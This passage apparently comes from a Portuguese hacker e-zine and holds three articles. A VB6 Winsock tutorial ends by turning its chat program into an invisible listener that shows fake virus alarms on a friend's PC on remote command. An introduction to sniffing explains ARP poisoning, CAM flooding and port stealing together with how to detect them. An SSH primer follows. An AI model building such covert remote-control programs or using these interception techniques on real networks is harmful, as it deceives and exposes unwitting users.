propriedade Default como True) -------------------------------------------------------- # Arrume a propriedade "MultiLine" do Text2 para: "True" Toda vez que esta propriedade for arrumada para true em um textbox, este poderá ter várias linhas. -------------------------------------------------------- # Arrume a propriedade "ScollBars" dele para "2 - Vertical" Toda vez que esta propriedade for setada para 2 aparecerá uma barra de rolagem no textbox -------------------------------------------------------- # Arrume a propriedade "Interval" do Timer1 para "500"(é o mesmo que 1/2 segundo) Esta propriedade arruma o tempo, de que em tempo em tempo o Evento Timer ocorrerá no Timer1 Saiba que 1000(na Propriedade Interval) equivale a 1 segundo, logo 500 é 1/2 segundo... -------------------------------------------------------- # Private Sub Timer1_Timer() # Label1.Caption = "Status: " & Winsock1.State # End Sub Mantém sempre ativo e verdadeiro o valor atual do Winsock1.state exibido em Label1.Caption -------------------------------------------------------- # Private Sub Command1_Click() # On Error GoTo erro # Winsock1.Connect Text3.Text, 120 # Exit Sub # erro: # MsgBox "Não conssegui me conectar", vbCritical, "Erro ao tentar conectar" # End Sub On error goto erro >>> significa que se houver algum erro ao tentar executar alguma das linhas abaixo, quer que exiba uma mensagem de erro no nosso caso... Winsock1.Connect Text3.Text, 120 >>> quer dizer para o winsock se conectar com o Host que foi predeterminado pelo usuário em Text3.Text, pela porta 120... OBS: O Host pode ser também um número IP -------------------------------------------------------- # Private Sub Command2_Click() # On Error GoTo erro # Winsock1.SendData Text1.Text # Text2.Text = Text2.Text & "Eu Disse: " & Text1.Text & vbCrLf # Exit Sub # erro: # MsgBox "Não conssegui enviar o código!", vbCritical, "Erro ao tentar conectar" # End Sub Tenta enviar a informação presente em Text1.Text para o Host Remoto e adicionar o que acabou de escrever em Text2.Text, caso não conssiga ele deverá exibir uma mensagem de erro... -------------------------------------------------------- # Private Sub Command3_Click() # Winsock1.Close # End Sub Prepara ou Reprepara o Winsock para uma nova conexão... -------------------------------------------------------- # Private Sub Winsock1_Connect() # Winsock1.SendData Winsock1.LocalIP & " está conectado!" # Text2.Text = Text2.Text & "Eu Disse:" & Winsock1.LocalIP & " está conectado!" & vbCrLf # End Sub Caso consiga se conectar ele envia a mensagem: " está conectado!", e exibe oque acabou de enviar em Text2.Text -------------------------------------------------------- # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Text2.Text = Text2.Text & "Ele disse: " & X & vbCrLf # End Sub Armazena oque acabou de receber em X e salva o valor atual de X, concatenando em Text2.Text -------------------------------------------------------- # Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) # Winsock1.Close # Winsock1.Accept requestID # End Sub winsock1.close >>> Reprepara o winsock pra parar de "escutar" e ficar preparado para esta nova conexão... Winsock1.Accept requestID >>> Aceita conexão -------------------------------------------------------- # Private Sub Form_Load() # Winsock1.Listen # End Sub Prepara o winsock1 para aceitar conecções pela porta 120, como já pré determinado pela propriedade LocalPort e RemotePort... -------------------------------------------------------- Colocando pra rodar: - Coloque o 1º programa em seu computador pra rodar... - Coloque o 2º programa no computador do seu amigo pra rodar... - Pegue o IP do teu amigo... - Coloque este IP no campo de texto ao lado do botão conectar... - Click em conectar...e inicie o bate papo... Agora...Repare...Quase todos os aplicativos e programas do windows voltados pra internet utilizam essa DLL (em alguma vezes, e como nestes exemplos: OCX)...Bom...agora que você já entende... Imagine, o que faz os programas "conversarem" entre si é este componente, isso não parece um "CHAT"? Por isso que digo e confirmo a minha idéia neste próximo capítulo... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- -= 5: Aperfeiçoando uma idéia... =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Agora... imagine se o programa envia uma certa informação, e o programa receptor recebe esta e analisa o conteúdo, quando ele analisa o conteúdo (sem mostrar a informação ao usuário), verifica que sempre sem mostrar ao usuário deverá executar uma tal instrução.... agora imagine se este usuário (o que está com o programa receptor) não souber que está rodando em seu PC o programa... e agora imagine que esta tal instrução seja de apagar algum arquivo, ou exibir pro usuário uma mensagem de um suposto "vírus"... Pegue aquele programa que deveria rodar na casa do seu visinho do capítulo 4 e vamos fazer algumas modificação nele... >>> No Evento Load do Form1 atualize o código para que fique como abaixo: # Private Sub Form_Load() # Me.Visible = False # Winsock1.Close # Winsock1.Listen # End Sub >>> No Evento DataArrival do Winsock1 atualize o código para que fique como abaixo: # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Select Case X # Case "#EXIT#" # End # Case "#MSG1#" # MsgBox "Isto é um Vírus! esteja preparado para as conssequencias", vbCritical, "É o teu fim!" # Case "#MSG2#" # MsgBox "Eu sou Munrra!" & vbCrLf & "Espíritos do Além! torne esta forma decadente em Munrra!!!", _ # vbInformation, "Munrra domina novamente!" # Case "#MSG3#" # MsgBox "Ha!!!!!!!!!!!! o mundo vai acabar! salve-se quem puder!!!!!!", vbCritical, "É o fim do mundo!" # Case Else # MsgBox "Teu amigo ta querendo te encher o saco....vai lá na casa dele bater nele!", vbCritical, _ # "Teu amigo é um safado!" # End Select # End Sub Como isso funciona: -------------------------------------------------------- # Private Sub Form_Load() # Me.Visible = False # Winsock1.Close # Winsock1.Listen # End Sub Me.Visibled = False >>> quer dizer para o formulário ficar invisível -------------------------------------------------------- # Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) # Dim X As String # Winsock1.GetData X # Select Case X # Case "#EXIT#" # End # Case "#MSG1#" # MsgBox "Isto é um Vírus! esteja preparado para as conseqüência", vbCritical, "É o teu fim!" # Case "#MSG2#" # MsgBox "Eu sou Munrra!" & vbCrLf & "Espíritos do Além! torne esta forma decadente em Munrra!!!", _ # vbInformation, "Munrra domina novamente!" # Case "#MSG3#" # MsgBox "Ha!!!!!!!!!!!! o mundo vai acabar! salve-se quem puder!!!!!!", vbCritical, "É o fim do mundo!" # Case Else # MsgBox "Teu amigo ta querendo te encher o saco....vai lá na casa dele bater nele!", vbCritical, _ # "Teu amigo é um safado!" # End Select # End Sub Verifica O valor de X (que é a variável que armazena a informação que chegou), ao verificar ele "Vê" se o valor é #EXIT#, ou #MSG1# ou #MSG2#, quando ele "descobre" qual que é ele executa sua referente função. -------------------------------------------------------- Dica: Aconselho-te estudar BEM o código fonte antes de simplesmente compilá-lo e enviar ao teu amigo...eheh O que você fez foi enviar comandos(#EXIT#, #MSG1#...) ao invés de enviar mensagens...de certa forma você ainda enviou mensagens, que é algo comum em um CHAT.... Agora imagina se o seu programa começasse a enviar comandos para saber se ainda está conectado com teu amigo, mas não é você que está enviando os "comandos". Que conclusão é possível se tirar disso? R: Ainda há um CHAT! um Chat de programa pra programa...e não mais de Usuário para usuário. Explicado, agora que você entende isso repare uma coisa: TODOS OS PROGRAMAS QUE UTILIZAM REDE ESTÃO NESTA ESPÉCIE DE CHAT!!!! Logo podemos dizer que "toda comunicação é um chat"! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -= 6: Contato =- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Se você não entendeu algo... ou tem alguma dúvida sobre algo que foi explicado aqui, ou sobre winsock ou qualquer coisa mesmo... pode me perguntar, se eu souber, eu respondo. vbkeydel@hotmai.com 139112482 -=| EOF |=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[07]-=[Sniffing for Dummies]-=|hallz|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Introducao ao Sniffing (Sniffing for Dummies) Por hallz .:: Introducao ::. Procuro abordar aqui o funcionamento de um sniffer, os riscos que este pode trazer a uma rede, alguns truques que invasores usam para oculta-lo e tambem formas de deteccao. Ao longo do artigo, usarei a palavra 'invasor' quando me referir a pessoa que esta 'sniffando' uma rede que nao seja sua. 'Invasor' neste caso, serve para hackers, crackers e kiddies. Vale lembrar, no entanto, que as diferencas entre os termos sao enormes. Hackers sao pessoas com conhecimento avancado, que estao sempre em busca de mais conhecimento, compartilham suas descobertas e seguem uma etica; Crackers violam sistemas com intencoes maliciosas, causando problemas aos seus alvos; Kiddies sao pessoas que nao tem conhecimento tecnico, apenas usam ferramentas criadas por outros como forma de conseguir seus 15 minutos de fama. Este eh um texto basico, portanto se voce ja eh 'fera', nao espere encontrar algo novo por aqui. .:: O que sao Sniffers? ::. Sniffers (farejadores) sao dispositivos (podem ser programas ou algum hardware especifico) que capturam (a maioria tambem analisa) o trafego de uma rede de forma passiva, isto eh, sem interferir nas comunicacoes. Estes, podem ser utilizados tanto por administradores como por invasores, obviamente com propositos diferentes. Administradores podem usar um sniffer para detectar, ou pelo menos ajudar a detectar, a causa de um problema, assim como gerar logs do trafego da rede que podem ser consultados posteriormente caso necessario (devido ao comprometimento de uma maquina, por exemplo). Ja invasores podem utiliza-lo para capturar informacoes confidenciais que circulem em 'texto-puro', ou seja, nao criptografadas. Qualquer informacao nao criptografada, incluindo logins e senhas de servicos como FTP, Telnet e POP, estara acessivel ao invasor. Usar criptografia eh altamente recomendavel, porem nao impede totalmente o acesso por parte do invasor as informacoes. .:: Como Funcionam ::. Para entender o funcionamento dos sniffers, precisamos entender o funcionamento das redes. Aqui sera abordado o padrao Ethernet, o mais utilizado hoje em dia. Cada computador em uma rede Ethernet tem o seu endereco de hardware, o MAC (Media Access Control). O MAC, um numero hexadecimal de 12 digitos, unico em toda a rede (teoricamente nao existem duas placas de rede com o mesmo MAC), eh utilizado para identificar as maquinas. Em cada pacote enviado, logo no comeco, podemos encontrar dois enderecos MACs; O endereco do computador que enviou o pacote, e o endereco do computador que deve recebe-lo. Na verdade, todos os computadores da rede recebem os pacotes (salvo se a rede utilizar switches - isto sera abordado mais adiante), mas so responderao a pacotes destinados a elas, ou seja, apenas responderao caso o pacote em questao tenha o seu endereco MAC como destinatario; caso nao possua, o pacote sera descartado (isso eh feito a nivel de hardware - interface de rede). Se conseguirmos fazer com que a interface nao descarte os pacotes, poderemos capturar todo o trafego da rede! E eh assim que um sniffer funciona, ele faz com que a interface de rede aceite todos os pacotes. Quando uma interface se encontra nesta condicao, dizemos que esta em 'modo promiscuo', estado que geral- mente pode-se habilitar via software. Na maioria dos sistemas operacionais atuais, para por uma interface de rede em modo promiscuo, deve-se ter privilegios de root (administrador). O sniffer pode ser utilizado com a interface em seu estado normal, mas neste caso soh serao capturados os pacotes que tenham como origem (ou destino) o computador onde ele esta sendo executado. Pode nao parecer tao interessante (e realmente nao eh) mas se este computador for um roteador, o invasor tera acesso a todo o trafego que por ele passar. Os pacotes capturados pelo sniffer geralmente sao armazenados em arquivos salvos no disco rigido, para posterior analise. Em uma rede movimentada, este arquivo podera ficar enorme, em poucas horas, o que facilitaria a deteccao de um sniffer por parte do administrador. Por este motivo (e tambem para nao perder tempo), sniffers instalados furtivamente sao bem seletivos; gravam apenas o que eh interessante ao invasor (geralmente logins e senhas). Como estas informacoes geralmente localizam-se no comeco do pacote, muitos sniffers nao analisam o pa- cote inteiro, mas apenas os seus primeiros 200-300 bytes. Outros sniffers vao ainda mais longe; enviam os logins/senhas capturados para um e-mail fornecido pelo invasor. Imaginemos a seguinte situacao: Um invasor, localizado no RJ, quer interceptar a conversa pela internet de Joao e Maria, que estao em SP, usando um sniffer. Eh possivel? ---------------- / \ / \ ------ ---------- ---------- ------- | Joao |---> | Provedor | INTERNET | Provedor | <--- | Maria | ------ ---------- ---------- ------- \ / \ ---------- / --| Provedor |-- ---------- | --------- | Invasor | --------- Claro! Basta que ele consiga acesso ao computador de um dos dois (engenharia social, exploracao de alguma falha, trojans...), ou a algum que esteja 'no meio do caminho' (Um servidor do provedor de Maria ou um roteador, por exemplo) e instale la o sniffer. O invasor pode ainda fazer com que os dados passem pelo seu computador (ou seja, ele redireciona o trafego). Apesar de ser muito mais trabalhoso, eh possivel. .:: Sniffers em redes comutadas ::. Logo acima foi dito que os pacotes em uma rede sao distribuidos por todos os computadores; Isto eh verdade se for utilizado um hub ou cabo coaxial para fazer a ligacao dos PCs, mas nao se for utilizado um switch (Lembrem-se que estamos falando de redes Ethernet). Os switches possuem tabelas onde sao armazenados, entre outras coisas, enderecos MACs encontrados em cada uma de suas portas. Por isso, o switch pode enviar os pacotes apenas para a porta onde esta o destinatario. Com isso, dificulta-se o sniffing (Porem nao o torna impossivel :P ). Mas como o switch sabe em que porta o destinatario esta? Simples! Suponhamos que Joao e Maria agora estao ligados em uma rede comutada. Vejamos o que acontece se Joao 'pingar' (ICMP Echo Request) o computador de Maria. Joao ---> ARP Request ---> Broadcast Joao <--- ARP Response <--- Maria Joao ---> ICMP Echo Request ---> Maria Joao <--- ICMP Echo Response <--- Maria O que acontece eh o seguinte: Joao quer enviar o ICMP Echo Request (o famoso Ping) para Maria, mas para isso, ele precisa saber o endereco fisico (MAC) do computador de Maria. Por isso, Joao 'grita', para todos os computadores da rede (Broadcast): "Qual o endereco MAC de Maria?". Isto eh um ARP Request (Address Resolution Protocol - o ARP traduz enderecos IP para MAC). Maria entao ouve o 'grito' de Joao e o responde (ARP Response). Agora que Joao ja tem o endereco MAC, pode enviar o 'ping' (Echo Request), que eh prontamente respondido pela Maria (Echo Response). Depois disso, caso Joao queira enviar mais algum pacote para Maria (e vice-versa), nao precisara enviar primeiro outro ARP Request, pois o endereco MAC de Maria ja sera conhecido, podendo ser localizado na cache ARP de seu PC. Quando passam ARP Requests e Responses pelo switch, este verifica de qual de suas portas o pacote foi originado e pega o endereco MAC de origem que esta escrito no pacote. Essas informacoes sao entao registradas nas tabelas do switch; Assim ele fica sabendo em que porta estao localizados cada computador, e pode repassar os pacotes apenas para a porta onde esta o destinatario do pacote. Redes que operem nesta forma sao chamadas de comutadas. Porem nem tudo sao flores, e o sniffing ainda pode funcionar nestas condicoes. Vejamos algumas for- mas de fazer isso. + Table Flooding Como ja foi dito, o switch sabe para que porta enviar cada pacote devido a tabela que ele possui (CAM Table). (CAM) Table Flooding consiste em encher a tabela do switch com entradas falsas, para que ele passe a enviar os pacotes para todas as portas. Tabela do Switch ANTES do ataque: (apenas para ilustracao, a tabela eh mais 'complexa') -------------------------- | Porta | Endereco MAC | |--------------------------| | 01 | MAC de Maria | | 02 | MAC de Joao | | ... | ... | | 10 | MAC do Invasor | -------------------------- Entao o invasor, que quer capturar o trafego da rede, comeca a enviar pacotes ARP para a rede, cada um com um endereco MAC - que nao existe na rede - diferente. O switch armazena estes enderecos em sua tabela, ateh que esta fica cheia - Sim, a CAM Table tem um limite de entradas. Tabela do Switch DURANTE o ataque: ---------------------------- | Porta | Endereco MAC | |----------------------------| | 01 | MAC inexistente 1 | | 02 | MAC inexistente 2 | | ... | ... | | 10 | MAC inexistente 10 | ---------------------------- Assim, todo o pacote cujo destinatario nao estiver listado na tabela do switch devera ser enviado para todas as portas. Ai, o invasor pode captura-los sem problemas. O macof eh um programa que aplica esta tecnica. + ARP Cache Poisoning Esta tecnica consiste em enviar pacotes ARP forjados para as maquinas-alvo, de forma com que todo o trafego entre elas passe pela maquina do invasor. Vejamos o caminho (normal) dos pacotes entre Joao e Maria: -------- -------- ------- | Joao | <--> | Switch | <--> | Maria | -------- -------- ------- Para poder sniffar o trafego entre Joao e Maria, o invasor envia pacotes ARP (que nao requerem autenticacao) para Joao fingindo ser Maria, e pacotes ARP para Maria fingindo ser Joao. Assim a tabela ARP de Maria e Joao fica envenenada (poisoned). Vejamos as tabelas: Antes: Tabela de Joao ANTES do ataque Tabela de Maria ANTES do ataque -------------------------------- -------------------------------- | Endereco IP | Endereco MAC | | Endereco IP | Endereco MAC | |--------------------------------| |--------------------------------| | IP de Maria | MAC de Maria | | IP de Joao | MAC de Joao | | IP do Invasor | MAC do Invasor | | IP do Invasor | MAC do Invasor | -------------------------------- -------------------------------- Durante: Tabela de Joao DURANTE o ataque Tabela de Maria DURANTE o ataque -------------------------------- -------------------------------- | Endereco IP | Endereco MAC | | Endereco IP | Endereco MAC | |--------------------------------| |--------------------------------| | IP de Maria | MAC do Invasor | | IP de Joao | MAC do Invasor | | IP do Invasor | MAC do Invasor | | IP do Invasor | MAC do Invasor | -------------------------------- -------------------------------- O invasor deve certificar-se que os pacotes enviados por Joao cheguem ao seu destinatario real, Maria, e vice-versa. Isso pode ser feito facilmente atraves do IP Forwarding, que eh suportado por muitos sistemas operacionais. Alem disso, o invasor devera enviar regularmente novos pacotes ARP para Maria e Joao, pois as entradas nas tabelas ARP expiram. O caminho dos pacotes durante o ARP Poisoning: -------- -------- --------- -------- ------- | Joao | <--> | Switch | <--> | Invasor | <--> | Switch | <--> | Maria | -------- -------- --------- -------- ------- Com o ARP Cache Poisoning o invasor pode nao somente capturar os pacotes enviados como tambem altera-los (assim como cria-los) antes de enviar para o verdadeiro destinatario. Imagine se o invasor se passar por um roteador... + ICMP Redirect Pacotes ICMP Redirect sao usados por roteadores para fazer com que os computadores enviem seus pacotes por um caminho diferente. Forjando ICMP Redirects o invasor pode alterar as tabelas de roteamento de uma maquina para que o trafego passe por ele. + Monitor Port (SPAN, Port Mirroring, Port Monitoring) Muitos switches fornecem Monitor Ports, que permitem copiar todo o trafego da rede para uma (ou mais) portas. O problema - Ou solucao, depende do ponto de vista - eh que muitos administradores nao alteram as senhas-padrao, permitindo assim que o invasor faca com que o switch envie todo o trafego da rede para a porta em que ele esta conectado. Caso o switch suporte realizar esta configuracao via SNMP, o invasor pode tentar adivinhar a senha. Mesmo que o administrador tenha configurado o switch para aceitar apenas pacotes SNMP vindos de um certo endereco IP, o invasor pode utilizar de spoofing. + Switch Port Stealing Nesta tecnica o invasor envia pacotes com o endereco MAC de origem da maquina-alvo. O switch entao "aprende" que o invasor *eh* a maquina-alvo e passa a enviar os pacotes destinados a ela para o invasor. Temos dois problemas aih. O primeiro eh que se a maquina-alvo parar de receber os pacotes, a conexao se encerra; O outro problema eh que a maquina-alvo continuara enviando pacotes, o que fara com que a tabela do switch volte ao seu estado normal. Para contornar o problema, podemos tirar a maquina-vitima da jogada (DoS) e enviar os pacotes com o MAC alterado. Assim podemos tomar conta de uma conexao ja autenticada, como uma sessao Telnet. Outra possibilidade eh enviar pacotes com o MAC alterado em intervalos regulares, e ao receber um pacote destinado a maquina-alvo, reenvia-lo para broadcast. Assim, a maquina-alvo continua recebendo os pacotes. .:: Detectando Sniffers ::. Por sua natureza passiva, a deteccao de sniffers pode se tornar algo complicado. Contudo, formas de deteccao existem, e podem ser divididas em duas categorias: locais e remotas. A deteccao local consiste basicamente em utilizar ferramentas do sistema para verificar se existem interfaces em modo promiscuo, ou algum outro indicio da existencia de sniffers na maquina. Podemos ver se uma interface esta em modo promiscuo usando o ifconfig: bash-2.05b# ifconfig -a eth0 Link encap:Ethernet HWaddr 00:50:56:40:2A:B9 inet addr:192.168.0.172 Bcast:192.168.0.191 Mask:255.255.255.224 UP BROADCAST NOTRAILERS RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:10 errors:0 dropped:0 overruns:0 frame:0 TX packets:10 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:2282 (2.2 Kb) TX bytes:2707 (2.6 Kb) Interrupt:10 Base address:0x10a0 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) Repare a palavra "PROMISC" em eth0. Em maquinas Windows (NT, 2000, XP) pode -se utilizar o PromiscDetect. Outra ferramenta que pode ser utilizada eh o lsof (list open files), em busca de network files abertos (sockets) ou ainda o arquivo onde o sniffer grave os dados capturados. O problema da deteccao local eh que o invasor pode substituir as ferramentas como ifconfig ou ainda carregar modulos que facam o computador esconder as informacoes que poderiam entregar a presenca do sniffer. Um checador de integridade, como o tripwire, pode ajudar a resolver o problema da alteracao de binarios, mas se o invasor inserir um modulo no kernel que faca o sistema mentir para voce, o tripwire de nada adiantara. Existem ferramentas, como o rkscan, que podem localizar rootkits conhecidos, atraves de assinaturas (padroes). Novamente, o rkscan de nada adiantara contra um rootkit desenvolvido pelo proprio invasor, ja que sua assinatura nao constara no rkscan. E a brincadeira de gato e rato continua... :> A deteccao remota eh um processo heuristico, ou seja, o resultado nao eh 100% confiavel. Nesta deteccao exploram-se certas caracteristicas do sistema operacional e protocolos, que possam indicar a existencia de um sniffer. Vejamos algumas das tecnicas que IDS e ferramentas como o antisniff utilizam para tentar identificar sniffers na rede. + Metodo Ping Sem duvida o metodo mais conhecido, consiste em enviar um ICMP Echo Request (ping) para a maquina a ser testada, mas com o endereco MAC diferente. Como o MAC nao eh o da maquina, nao deve haver resposta ao ping; se houver, eh porque a interface de rede nao descartou o pacote, e portanto, esta rodando em modo promiscuo. Este metodo pode ser realizado com qualquer protocolo que gere resposta. Apesar de eficiente, pode ser contornado facilmente; de fato varios sniffers furtivos implementam uma especie de 'filtro virtual de MAC', que inutiliza esta tecnica. + Metodo ARP Existem basicamente duas possibilidades aqui. A primeira eh a mesma do Metodo Ping, soh que utiliza-se o protocolo ARP. A segunda aproveita-se do ARP Cache. Lembram de como funciona isto? Se nao lembram, releiam o texto, pois eu que nao vou escrever novamente :P Bem, o que se faz eh o seguinte: Envia-se um ARP para um endereco que nao seja o de broadcast, e depois um Ping para broadcast. As maquinas que responderem o ping sem antes enviarem um ARP pedindo seu MAC *podem* te-lo obtido capturando o seu pacote ARP anterior, portanto *podem* estar executando um sniffer. + Honey Pot (aka Armadilha) Honey Pots sao utilizados para a deteccao e estudo de ataques (apesar de existirem muitas criticas a respeito de seu uso). No caso da deteccao de sniffers, pode-se enviar informacoes, senhas falsas na rede, simular conexoes, e esperar que alguem tente usa-las. Pode ser uma boa forma de detectar um sniffer totalmente passivo. + DNS Reverso Alguns sniffers realizam operacoes resolucao reversao (Reverse DNS Lookups), isto eh, transformam enderecos IP em nomes mais amigaveis (pelo menos para seres humanos normais), como google.com. Entao, monitorando a utilizacao de resolucao reversa na rede pode-se encontrar sniffers. Um exemplo pratico seria voce enviar varios pings para enderecos inexistentes na rede, e monitora-la, para ver se alguma maquina tenta realizar a resolucao. + Inundacao ARP Para sniffers em redes comutadas serem funcionais, frequentemente eles necessitarao gerar grande trafego ARP, seja para encher a tabela do switch ou para assumir o lugar de outra maquina (Man in the middle). O monitoramento do numero de anuncios ARP pode revelar a existencia de sniffers na rede. + Latencia Este metodo pode trazer problemas a rede, portanto deve ser empregado com cuidado, e apenas quando ja existir a suspeita que uma maquina esteja executando um sniffer. Ele consiste em enviar uma grande quantidade de trafego na rede. Maquinas que nao estiverem suas interfaces de rede executando em modo promiscuo nao serao afetadas, apenas as que estiverem, sim. Como serao afetadas? Terao um aumento do seu tempo de resposta, devido ao fato do sniffer (a maioria) analisar todos os pacotes recebidos a fim de armazenar apenas as informacoes que forem interessantes. 'Pingue' a maquina suspeita antes de injetar grande quantidade de trafego na rede e anote o resultado. Depois, pingue novamente durante a 'tempestade' de pacotes. Se a diferenca for grande, podemos ter um sniffer ai. .:: Evitando o sniffing ::. Existem formas de tornar as coisas mais complicadas para sniffers, como o uso de entradas ARP estaticas - a cache ARP nao eh modificada - ou o uso de Port Security, que 'prende' os enderecos MAC a certas portas do switch, mas nao sao muito praticas. Existem ainda interfaces de rede que nao suportam o modo promiscuo, mas sao dificeis de serem encontradas. A solucao mais efetiva contra sniffers eh o uso de criptografia, desde que seja implementada de forma correta, com algoritmos seguros, alem de ser muito mais facil de ser administrado que as solucoes anteriores. .:: Finalizando ::. Espero que este artigo tenha atingido seu objetivo de servir de introducao ao sniffing, um eterno (?) problema para admins. Fico devendo (mas nao garanto que farei :P) uma parte sobre sniffing de redes wireless. Ate a proxima! :> hallz .:: Links Relacionados ::. http://www.packetstormsecurity.nl/sniffers/ http://stein.cshl.org/~lstein/talks/WWW6/sniffer/ http://www.linux-sec.net/Sniffer/ http://www.datanerds.net/~mike/dsniff.html http://www.ntsecurity.nu/toolbox/promiscdetect/ http://www.securityfriday.com/ToolDownload/ScoopLM/scooplm_doc.html http://ettercap.sourceforge.net/ http://www.oxid.it/cain.html http://staff.washington.edu/dittrich/talks/agora/macof http://www.robertgraham.com/pubs/sniffing-faq.html http://www.nwo.net/osall/Methodology/Novice/Sniffer_FAQ/sniffer_faq.html http://www.packetwatch.net/documents/papers/layer2sniffing.pdf http://www.ebookhackers.net/kb/index.php?page=index_v1&c=15 .:: EOF ::. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[08]-=[Introdução ao SSH]-=|Haze|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 1 - Introdução 2 - O que é SSH 3 - Principais vantagens 4 - Alguns comandos 5 - Clientes SSH 6 - Conclusão 7 - Referêcias 8 - Links ~~~~~~~~~~~~~~~~~ 1 - Introdução ~~~~~~~~~~~~~~~~~ Olá turma. Alguns de voces ja devem ter ouvido falar disso, ou nao. Este tutorial é simples e foi destinado a explicar o que é SSH para dar ao menos a noção de como funciona. Como é dito sempre, é um pequeno tutorial destinado a newbies, portanto, se você é elite ou profissional, não vai querer perder seu tempo lendo isso neh?. ~~~~~~~~~~~~~~~~~~ 2 - O que é SSH ? ~~~~~~~~~~~~~~~~~~ O SSH (Secure Shell, ou shell seguro) é um protocolo de comunicação segura que foi criada em Julho de 1995, por Tatu Ylonenque com objetivo substituir protocolos cuja comunicação não é cifrada, apresentando graves problemas de segurança como é o caso do telnet, rlogin, rsh, rcp e outros, ou seja, qualquer dado que for transportado por esses protocolos são passados através da internet como texto puro, permitindo assim o possivel uso de sniffers por pessoas mal -intencionadas para captura de dados como senhas e logins. Cifrando a comunicação entre dois pontos, o SSH permite maior segurança na comunicação de dados, visto que seria bastante complicado para um atacante decifrar a informação transmitida já que essa informação está criptografada. Este protocolo serve tanto para serviços remotos de terminal , como para efetuar transferências seguras de arquivos (sftp), substituindo assim clientes de Telnet e de FTP. O SSH é muito usado devido sua grande escabilidade , segurança e é suportado por varios sistemas operacionais ( Linux, *BSD , Windows , MS-DOS, BeOS , Solaris e outros). ~~~~~~~~~~~~~~~~~~~~~~~~ 3- Principais Vantagens ~~~~~~~~~~~~~~~~~~~~~~~~ O SSH utiliza um poderoso método de criptografia chamado de Public Key Cryptography que permite a autenticação e encriptação entre o cliente e servidor de maneira que nenhuma senha e nenhuma tranferencia de dados sejam facilmente interceptados por outros hosts. Esse método usa uma chave pública (public key) para encriptação dos dados e uma chave privada (private key) para desencriptação. Assim, antes do PC da Maria estabelecer conexão com o Mac da Joana, eles passam por um processo de autenticação e troca de chaves públicas: o PC envia sua public key para o Mac da Joana , e o Mac faz o mesmo com o PC da Maria. Depois de feita essa troca, a comunicação pode prosseguir com segurança. A forma de encriptação na comunicação entre duas máquina torna o SSH uma poderosa ferramenta muito útil na administração de máquinas remotas, uma vez que permite ao administrador verificar e até mesmo configurar uma máquina remotamente de forma segura, podendo ele até mesmo executar aplicações como o Linuxconf na maquina remota. O canal de comunicação utiliza uma encriptação forte, que garante a privacidade dos seus dados na rede entre as duas máquinas. Ficando assim impossível (ou quase) que alguém consiga ler os seus pacotes durante o tráfego pela rede. Você pode configurar a shell, em suas contas em dois hosts de sua confiança, de tal forma que você possa passar de um host para o outro de forma pratica e segura, sem ter de ficar digitando suas senhas a cada seção. Pode-se tambem configurar a shell para fazer um "pipe-through" de conexões X11 por dentro do canal encriptado, de forma que fica muito mais simples abrir em sua máquina janelas de aplicativos X11 que você rode em sistemas remotos, pois não será mais necessario a preocupação com as variáveis e autorizações de display. Junto com o SSH vem alguns aplicativos adicionais como o scp e sftp, que substituem os comandos tradicionais de cópia remota de arquivos como o rcp e ftp. Estes novos comandos dificilmente falham por causa de erros de autenticação, como fazem os comandos tradicionais. Em vez disso, é exigido o password sempre que a autorização automática não for bem sucedida. ~~~~~~~~~~~~~~~~~~~~ 4 - Alguns Comandos ~~~~~~~~~~~~~~~~~~~~ Como já foi dito, o SSH visa substituir antigos protocolos de acesso remoto. Vamos a uma pequena descrição dos principais comandos do SSH. Comandos : ssh : Usado para fazer o login e executar comandos dentro de uma máquina remota. Sintaxe: ssh usuario@servidor [commando] Onde: usuário é o nome do usuário ("login") . Ex.: Maria servidor é o nome do servidor ao qual deseja conectar. Ex.: motdlabs.org Exemplo: ssh maria@motdlabs.org ssh maria@motdlabs.org ls Você também pode especificar outras opções, olhe a página manual do ssh ssh-keygen : comando utilizado para criação de chaves. Sintaxe: ssh-keygen -t tipo_chave Onde o tipo de chave pode ser: rsa1 , rsa , dsa ( para saber a diferença entre as chaves pesquise.:-) Exemplo: # Para criar uma chave tipo dsa: [usuario@localhost]$ ssh-keygen -t dsa slogin : Nome alternativo ao comando ssh. scp : Utilizado para cópia remota de arquivos. Para Upoload ( transferir um arquivo de sua maquina para o servidor remoto) Sintaxe: scp [arquivo_local] [usuario@servidor remoto]:[nome do arquivo no servidor remoto] Exemplo: [usuario@localhost]$ scp 